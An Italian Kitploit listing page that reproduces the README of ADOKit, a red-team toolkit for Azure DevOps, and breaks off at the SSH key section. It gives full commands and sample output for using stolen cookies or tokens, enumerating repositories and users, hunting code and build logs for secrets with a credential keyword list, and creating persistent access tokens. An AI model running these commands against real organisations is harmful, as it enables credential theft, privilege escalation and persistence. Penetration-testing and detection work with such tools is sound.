Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ADOKit — Kit di attacco modulare che sfrutta l'API REST di Azure DevOps per ricognizione, escalation dei privilegi e persistenza utilizzando cookie rubati o PATs. | Kitploit
Strumenti/GitHubGitHub/h4wkst3r/adokit
Escalation di PrivilegiRicognizioneMeccanismi di PersistenzaPenetration TestingSicurezza CloudRed Teaming
GitHubh4wkst3r/adokit

ADOKit

Kit di attacco modulare che sfrutta l'API REST di Azure DevOps per ricognizione, escalation dei privilegi e persistenza utilizzando cookie rubati o PATs.

Vedi Repository
1556425 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

ADOKit

Descrizione

Azure DevOps Services Attack Toolkit - ADOKit è un toolkit che può essere utilizzato per attaccare Azure DevOps Services sfruttando l'API REST disponibile. Lo strumento consente all'utente di specificare un modulo di attacco, insieme a credenziali valide (chiave API o cookie di autenticazione rubato) per l'istanza di Azure DevOps Services corrispondente. I moduli di attacco supportati includono ricognizione, escalation dei privilegi e persistenza. ADOKit è stato sviluppato con un approccio modulare, in modo che nuovi moduli possano essere aggiunti in futuro dalla comunità della sicurezza informatica.

I dettagli completi sulle tecniche utilizzate da ADOKit sono nel libro bianco di X-Force Red whitepaper.

Black Hat USA Arsenal 2024

Le slide delle presentazioni e le demo sono incluse nella cartella BHUSA Arsenal 2024 in questo repository.

Rilascio

  • La versione 1.4.1 di ADOKit è disponibile nelle Release

Indice

  • ADOKit
  • Indice
  • Installazione/Compilazione
    • Librerie Utilizzate
    • Precompilato
    • Compilazione manuale
  • Moduli dei comandi
  • Argomenti/Opzioni
  • Opzioni di autenticazione
  • Tabella dettagli moduli
  • Esempi
    • Ricognizione
      • Validare l'accesso ad Azure DevOps
      • Whoami
      • Elenco Org
      • Elenco Repo
      • Ricerca Repo
      • Elenco Progetti
      • Ricerca Progetti
      • Ricerca Codice
      • Ricerca File
      • Elenco Utenti
      • Ricerca Utente
      • Elenco Team
      • Ricerca Team
      • Ottieni Membri del Team
      • Elenco Gruppi
      • Ricerca Gruppi
      • Ottieni Membri del Gruppo
      • Ottieni Permessi del Progetto
      • Ricerca Credenziali
      • Ottieni Log di Build
      • Elenco Log di Build
      • Ricerca Log di Build
    • Persistenza
      • Crea PAT
      • Elenco PAT
      • Rimuovi PAT
      • Crea Chiave SSH
      • Elenco Chiavi SSH
      • Rimuovi Chiave SSH
    • Escalation dei Privilegi
      • Aggiungi Amministratore Progetto
      • Rimuovi Amministratore Progetto
      • Aggiungi Amministratore Build
      • Rimuovi Amministratore Build
      • Aggiungi Amministratore Raccolta
      • Rimuovi Amministratore Raccolta
      • Aggiungi Amministratore Build Raccolta
      • Rimuovi Amministratore Build Raccolta
      • Aggiungi Account Servizio Build Raccolta
      • Rimuovi Account Servizio Build Raccolta
  • Rilevamento
  • Roadmap
  • Riferimenti

Installazione/Compilazione

Librerie Utilizzate

Le seguenti librerie di terze parti sono utilizzate in questo progetto.

LibreriaURLLicenza
Fodyhttps://github.com/Fody/FodyLicenza MIT
Newtonsoft.Jsonhttps://github.com/JamesNK/Newtonsoft.JsonLicenza MIT

Precompilato

  • Utilizza il binario precompilato nelle Release

Compilazione manuale

Segui i passaggi seguenti per configurare Visual Studio e compilare il progetto manualmente. Richiede due librerie .NET che possono essere installate dal gestore pacchetti NuGet.

  • Carica il progetto di Visual Studio e vai su "Strumenti" --> "Gestione pacchetti NuGet" --> "Impostazioni gestione pacchetti"
  • Vai su "Gestione pacchetti NuGet" --> "Origini pacchetti"
  • Aggiungi un'origine pacchetto con l'URL https://api.nuget.org/v3/index.json
  • Installa il pacchetto NuGet Costura.Fody.
    • Install-Package Costura.Fody -Version 3.3.3
  • Installa il pacchetto Newtonsoft.Json
    • Install-Package Newtonsoft.Json
  • Ora puoi compilare il progetto da solo!

Moduli dei comandi

  • Ricognizione
    • check - Verifica se l'organizzazione utilizza Azure DevOps e se le credenziali sono valide
    • whoami - Elenca l'utente corrente e le sue appartenenze ai gruppi
    • listorgs - Elenca tutte le organizzazioni accessibili in Azure DevOps
    • listrepo - Elenca tutti i repository
    • searchrepo - Cerca un repository specifico
    • listproject - Elenca tutti i progetti
    • searchproject - Cerca un progetto specifico
    • searchcode - Cerca codice contenente un termine di ricerca
    • searchfile - Cerca file basato su un termine di ricerca
    • listuser - Elenca utenti
    • searchuser - Cerca un utente specifico
    • listteam - Elenca team
    • searchteam - Cerca un team specifico
    • getteammembers - Ottieni i membri del team per un team specifico
    • listgroup - Elenca gruppi
    • searchgroup - Cerca un gruppo specifico
    • getgroupmembers - Elenca tutti i membri del gruppo per un gruppo specifico
    • getpermissions - Ottieni i permessi per chi ha accesso a un progetto specifico
    • creds - Cerca credenziali nel codice (parole chiave elencate di seguito)
      • "pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"
    • getbuildlogs - Scarica i log di build per uno o tutti i progetti
    • listbuildlogs - Elenca i log di build per uno o tutti i progetti
    • searchbuildlogs - Cerca nei log di build un termine di ricerca specifico
  • Persistenza
    • createpat - Crea un token di accesso personale per l'utente

Argomenti/Opzioni

  • /credential: - credenziale per l'autenticazione (PAT o Cookie). Applicabile a tutti i moduli.
  • /url: - URL di Azure DevOps. Applicabile a tutti i moduli.
  • /search: - Parola chiave da cercare. Non applicabile a tutti i moduli.
  • /project: - Progetto per cui eseguire un'azione. Non applicabile a tutti i moduli.
  • /user: - Esegue un'azione su un utente specifico. Non applicabile a tutti i moduli.
  • /id: - Utilizzato con i moduli di persistenza per eseguire un'azione su un ID token specifico. Non applicabile a tutti i moduli.
  • /group: - Esegue un'azione su un gruppo specifico. Non applicabile a tutti i moduli.

Opzioni di autenticazione

Di seguito sono riportate le opzioni di autenticazione disponibili con ADOKit quando ci si autentica a un'istanza di Azure DevOps.

  • Cookie rubato - UserAuthentication - Questo sarà il cookie UserAuthentication sul computer di un utente per il dominio .dev.azure.com.
    • /credential:UserAuthentication=ABC123
  • Cookie rubato - AadAuthentication - Questo sarà il cookie AadAuthentication sul computer di un utente per il dominio .dev.azure.com.
    • /credential:eyJ0...
  • Token di accesso personale (PAT) - Questo sarà un token di accesso/chiave API che sarà una singola stringa.
    • /credential:apiToken
  • Token di accesso rubato - Se riesci a rubare o aggiornare un token di accesso appropriato, puoi anche usarlo. Quando si utilizza un token di accesso, deve essere valido per la risorsa di Azure Resource Manager (ARM) - "aud":"https://management.core.windows.net/" o Azure Devops - "aud":"499b84ac-1321-427f-aa17-267ca6975798"
    • /credential:eyJ0..

Tabella dettagli moduli

La tabella seguente mostra i permessi necessari per ogni modulo.

Esempi

Validare l'accesso ad Azure DevOps

Caso d'uso

Esegue un controllo di autenticazione per verificare che l'organizzazione stia utilizzando Azure DevOps e che le credenziali fornite siano valide.

Sintassi

Fornisci il modulo check, insieme a qualsiasi informazione di autenticazione rilevante e URL. Questo restituirà se l'organizzazione fornita utilizza Azure DevOps e, in caso affermativo, tenterà di validare le credenziali fornite.

ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Output di esempio```

C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/28/2023 3:33:01 PM

[*] INFO: Checking if organization provided uses Azure DevOps

[+] SUCCESS: Organization provided exists in Azure DevOps

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

3/28/23 19:33:02 Finished execution of check

root@kitploit:~
### Whoami

#### Caso d'uso

> *Ottieni l'utente corrente e le appartenenze ai gruppi dell'utente*

#### Sintassi

Fornisci il modulo `whoami`, insieme a qualsiasi informazione di autenticazione pertinente e URL. Questo restituirà l'utente corrente e tutte le sue appartenenze ai gruppi.

`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Output di esempio```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization

==================================================
Module:         whoami
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 11:33:12 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                          jsmith |                                        John Smith |          [email protected]


[*] INFO: Listing group memberships for the current user


                                                             Group UPN |                                       Display Name |                                        Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    [YourOrganization]\Project Collection Test Service Accounts |           Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
                                           [TestProject2]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                                           [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [YourOrganization]\Project Collection Administrators |                  Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.

4/4/23 15:33:19 Finished execution of whoami

Elenca Organizzazioni

Caso d'Uso

Recupera le organizzazioni utilizzando un token di accesso specificato.

Sintassi

Fornisci al modulo listorgs le informazioni di autenticazione richieste. Per impostazione predefinita, questo comando elenca solo le organizzazioni accessibili con il token di accesso fornito.

  • Usa /mode:aad per enumerare tutte le organizzazioni DevOps all'interno del tenant Azure AD, indipendentemente dall'accesso diretto.
  • Usa /endpoint:ENDPOINT_NAME per specificare un endpoint AEX personalizzato.
    • Endpoint aggiuntivi possono essere identificati ispezionando il cookie "X-VSS-DeploymentAffinity" da aex.dev.azure.com.

ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]

ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21

Esempio di Output```

C:>ADOKit.exe listorgs /credential:"eyj0..."

================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com

Timestamp: 3/14/2025 2:26:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                     Organization ID |                        Organization Name

root@kitploit:~
390a7474-e2f2-4b98-b538-4a547fa9f5e3 |                             solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e |                             lunar-devops
root@kitploit:~
### Elenca Repository

#### Caso d'uso

> *Scopri i repository utilizzati nell'istanza di Azure DevOps*

#### Sintassi

Fornisci il modulo `listrepo`, insieme a qualsiasi informazione di autenticazione rilevante e URL. Questo produrrà il nome del repository e l'URL.

`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Esempio di Output```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listrepo
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 8:41:50 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |                                                URL
-----------------------------------------------------------------------------------
                  TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
                  MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
                 SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
                   AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
      ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
                   TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 12:41:53 Finished execution of listrepo

Ricerca Repository

Caso d'uso

Cerca repository per nome del repository nell'istanza di Azure DevOps

Sintassi

Fornisci il modulo searchrepo e i criteri di ricerca nell'argomento della riga di comando /search:, insieme alle informazioni di autenticazione e all'URL pertinenti. Questo restituirà il nome e l'URL del repository corrispondente.

ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

Output di esempio```

C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 9:26:57 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |                                                URL

root@kitploit:~
              TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
               TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 13:26:59 Finished execution of searchrepo

root@kitploit:~
### Elenca Progetti

#### Caso d'uso

> *Scopri i progetti in uso in un'istanza di Azure DevOps*

#### Sintassi

Fornisci il modulo `listproject`, insieme a qualsiasi informazione di autenticazione rilevante e URL. Questo produrrà il nome del progetto, la visibilità (pubblica o privata) e l'URL.

`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Esempio di output```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listproject
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 7:44:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |      Visibility |                                                URL
-----------------------------------------------------------------------------------------------------
                  TestProject2 |         private | https://dev.azure.com/YourOrganization/TestProject2
                  MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap
      ProjectWithMultipleRepos |         private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
                   TestProject |         private | https://dev.azure.com/YourOrganization/TestProject

4/4/23 11:45:04 Finished execution of listproject

Ricerca Progetti

Caso d'Uso

Cerca progetti per nome del progetto nell'istanza di Azure DevOps

Sintassi

Fornisci il modulo searchproject e i criteri di ricerca nell'argomento della riga di comando /search:, insieme alle informazioni di autenticazione rilevanti e all'URL. Questo restituirà il nome del progetto corrispondente, la visibilità (pubblico o privato) e l'URL.

ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

Esempio di Output```

C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"

================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 7:45:30 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |      Visibility |                                                URL

root@kitploit:~
              MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap

4/4/23 11:45:31 Finished execution of searchproject

root@kitploit:~
### Ricerca Codice

#### Caso d'Uso

> *Cerca codice contenente una determinata parola chiave nell'istanza di Azure DevOps*

#### Sintassi

Fornisci il modulo `searchcode` e i criteri di ricerca nell'argomento della riga di comando `/search:`, insieme alle informazioni di autenticazione rilevanti e all'URL. Questo restituirà l'URL del file di codice corrispondente, insieme alla riga del codice che corrisponde.

`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`

`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`

#### Esempio di Output```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"

==================================================
Module:         searchcode
Auth Type:      Cookie
Search Term:    password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 3:22:21 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[*] Match count : 3

3/29/23 19:22:22 Finished execution of searchcode

Cerca file

Caso d'uso

Cerca file nei repository che contengono una parola chiave nel nome file in Azure DevOps

Sintassi

Fornisci il modulo searchfile e i criteri di ricerca nell'argomento della riga di comando /search:, insieme a eventuali informazioni di autenticazione e URL. Questo restituirà l'URL del file corrispondente nel rispettivo repository.

ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline

ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline

Esempio di Output```

C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 11:28:34 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                                                        File URL

https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs

3/29/23 15:28:37 Finished execution of searchfile

root@kitploit:~
### Ricerca Credenziali

#### Caso d'uso

> *Cerca codice contenente segreti come password o chiavi API in Azure DevOps*

#### Sintassi

Fornisci il modulo `creds`, insieme a qualsiasi informazione di autenticazione pertinente e URL. Questo produrrà l'URL del file corrispondente nel suo repository e le righe corrispondenti in cui sono presenti le credenziali.

`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Output di esempio```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         creds
Auth Type:      Cookie
Search Term:    pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/30/2023 10:17:49 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ API_KEY=ABC123

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
    |_ Password: ItIsSuperSecret!

[*] Match count : 5

3/30/23 14:17:54 Finished execution of creds

Ottieni i Log di Build

Caso d'Uso

Scarica i log di tutte le esecuzioni della pipeline (log di build). Potrai poi cercare offline informazioni e/o segreti.

Sintassi

Fornisci il modulo getbuildlogs insieme a /project: per un dato progetto per scaricare tutti i log di build per questo progetto. Se desideri scaricarli per tutti i progetti, specifica all nell'argomento /project:. Verrà creata una cartella ADOKit-[caratteri casuali 8] nella directory di lavoro corrente per scaricarvi i log.

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"

Output di Esempio```

C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 8:15:27 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ

[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ

root@kitploit:~
### Elenca i log di build

#### Caso d'uso

> *Elenca i log di build disponibili per un determinato progetto o per tutti i progetti.*

#### Sintassi

Fornisci il modulo `listbuildlogs` insieme a un `/project:` per un determinato progetto per elencare tutti i log di build per questo progetto. Se desideri elencarli per tutti i progetti, specifica `all` nell'argomento `/project:`. 

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`

#### Output di esempio```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

==================================================
Module:         listbuildlogs
Auth Type:      API Key
Project:        TestProject2
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 8:14:57 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

  Build ID |                     Build Name |   Num Logs |                                                URL
-------------------------------------------------------------------------------------------------------------
        94 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
        92 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
        64 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64

Cerca nei log di build

Caso d'uso

Cerca i log di build che contengono una parola chiave in un'istanza di Azure DevOps

Sintassi

Fornisci il modulo searchbuildlogs e i criteri di ricerca nell'argomento della riga di comando /search:, insieme a /project: per un determinato progetto per cercare in tutti i log di build di questo progetto. Se desideri cercare nei log di build di tutti i progetti, specifica all nell'argomento /project:. Questo restituirà l'URL del file di log di output corrispondente, insieme alla riga nel log di build che corrisponde.

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

Esempio di output```

C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"

================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:06:20 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Searching build logs

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1

-----------SNIP-----------

[*] Match count : 9

root@kitploit:~
### Creare PAT

#### Caso d'uso

> *Creare un token di accesso personale (PAT) per un utente che può essere utilizzato per la persistenza in un'istanza di Azure DevOps.*

#### Sintassi

Fornisci il modulo `createpat`, insieme a qualsiasi informazione di autenticazione pertinente e URL. Questo restituirà l'ID PAT, il nome, l'ambito, la data di validità e il contenuto del token per il PAT creato. Il nome del PAT creato sarà `ADOKit-` seguito da una stringa casuale di 8 caratteri. La data di validità del PAT sarà di 1 anno dalla data di creazione, poiché è il massimo consentito da Azure DevOps.

`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Esempio di Output```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         createpat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/31/2023 2:33:09 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                  PAT ID |                           Name |                          Scope |                    Valid Until |                                        Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM | tokenValueWouldBeHere

3/31/23 18:33:10 Finished execution of createpat

Elenco PAT

Caso d'uso

Elenca tutti i token di accesso personale (PAT) per un determinato utente in un'istanza di Azure DevOps.

Sintassi

Fornire il modulo listpat, insieme alle informazioni di autenticazione e URL pertinenti. Questo produrrà in output l'ID PAT, il nome, l'ambito e la data di validità per tutti i PAT attivi dell'utente.

ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Esempio di output```

C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/31/2023 2:33:17 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                              PAT ID |                           Name |                          Scope |                    Valid Until

root@kitploit:~
9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM

3/31/23 18:33:18 Finished execution of listpat

root@kitploit:~
### Rimuovere PAT

#### Caso d'uso

> *Rimuovere un PAT per un utente specifico in un'istanza di Azure DevOps.*

#### Sintassi

Fornire il modulo `removepat`, insieme a tutte le informazioni di autenticazione e l'URL pertinenti. Inoltre, fornire l'ID del PAT nell'argomento `/id:`. Questo produrrà in output se il PAT è stato rimosso o meno, e poi elencherà i PAT attivi correnti per l'utente dopo aver eseguito la rimozione.

`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`

`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`

#### Esempio di output```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298

==================================================
Module:         removepat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:04:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.

                                  PAT ID |                           Name |                          Scope |                    Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
    9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM

4/3/23 15:05:00 Finished execution of removepat

Creare Chiave SSH

Caso d'Uso

